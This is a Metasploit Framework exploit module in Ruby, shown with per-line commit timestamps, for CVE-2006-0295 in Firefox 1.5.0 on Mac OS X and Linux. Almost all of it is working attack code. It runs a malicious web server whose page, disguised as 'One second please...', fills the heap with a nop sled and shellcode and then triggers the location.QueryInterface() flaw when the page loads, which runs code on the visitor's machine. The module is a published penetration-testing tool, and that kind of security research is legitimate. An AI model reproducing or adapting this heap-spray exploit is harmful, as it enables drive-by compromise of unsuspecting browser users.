2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-04-04 04:37:30 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-03-09 17:32:53 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2006-03-09 17:32:53 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# This module acts as an HTTP server
|
|
|
|
#
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2006-03-09 17:32:53 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2006-07-31 02:50:41 +00:00
|
|
|
'Name' => 'Firefox location.QueryInterface() Code Execution',
|
2006-03-09 17:32:53 +00:00
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a code execution vulnerability in the Mozilla
|
|
|
|
Firefox browser. To reliably exploit this vulnerability, we need to fill
|
|
|
|
almost a gigabyte of memory with our nop sled and payload. This module has
|
|
|
|
been tested on OS X 10.3 with the stock Firefox 1.5.0 package.
|
2006-03-09 17:32:53 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2006-05-06 16:43:45 +00:00
|
|
|
'Author' => ['hdm'],
|
2006-03-09 17:32:53 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
2006-03-09 17:32:53 +00:00
|
|
|
[
|
|
|
|
['CVE', '2006-0295'],
|
2009-06-07 20:20:42 +00:00
|
|
|
['OSVDB', '22893'],
|
2006-03-09 17:32:53 +00:00
|
|
|
['BID', '16476'],
|
|
|
|
['URL', 'http://www.mozilla.org/security/announce/mfsa2006-04.html'],
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000 + (rand(256).to_i * 4),
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Firefox 1.5.0.0 Mac OS X',
|
2006-03-09 17:32:53 +00:00
|
|
|
{
|
|
|
|
'Platform' => 'osx',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Arch' => ARCH_PPC
|
2006-03-09 17:32:53 +00:00
|
|
|
}
|
|
|
|
],
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Firefox 1.5.0.0 Linux',
|
2006-03-09 17:32:53 +00:00
|
|
|
{
|
|
|
|
'Platform' => 'linux',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Arch' => ARCH_X86,
|
2006-03-09 17:32:53 +00:00
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Feb 02 2006'
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-03-09 17:32:53 +00:00
|
|
|
# Re-generate the payload
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
2008-07-01 01:44:56 +00:00
|
|
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
2006-12-10 03:26:53 +00:00
|
|
|
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
|
2006-03-09 17:32:53 +00:00
|
|
|
handler(cli)
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-03-12 02:06:57 +00:00
|
|
|
def generate_html(payload)
|
2006-03-09 17:32:53 +00:00
|
|
|
|
2006-07-31 02:50:41 +00:00
|
|
|
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
|
2006-03-09 17:32:53 +00:00
|
|
|
|
2010-09-20 08:06:27 +00:00
|
|
|
return <<-EOF
|
2006-03-09 17:32:53 +00:00
|
|
|
<html>
|
|
|
|
<head>
|
2010-09-20 08:06:27 +00:00
|
|
|
<title>One second please...</title>
|
|
|
|
<script language="javascript">
|
|
|
|
|
|
|
|
function BodyOnLoad() {
|
|
|
|
h = FillHeap();
|
|
|
|
location.QueryInterface(eval("Components.interfaces.nsIClassInfo"));
|
|
|
|
};
|
|
|
|
|
|
|
|
function FillHeap() {
|
|
|
|
// Filler
|
|
|
|
var m = "";
|
|
|
|
var h = "";
|
|
|
|
var a = 0;
|
|
|
|
|
|
|
|
// Nop sled
|
|
|
|
for(a=0; a<(1024*256); a++)
|
|
|
|
m += unescape("#{enc_nops}");
|
|
|
|
|
|
|
|
// Payload
|
|
|
|
m += unescape("#{enc_code}");
|
|
|
|
|
|
|
|
// Repeat
|
|
|
|
for(a=0; a<1024; a++)
|
|
|
|
h += m;
|
|
|
|
|
|
|
|
// Return
|
|
|
|
return h;
|
|
|
|
}
|
|
|
|
</script>
|
2006-03-09 17:32:53 +00:00
|
|
|
</head>
|
|
|
|
<body onload="BodyOnLoad()">
|
|
|
|
</body>
|
|
|
|
</html>
|
2010-09-20 08:06:27 +00:00
|
|
|
EOF
|
2006-03-09 17:32:53 +00:00
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|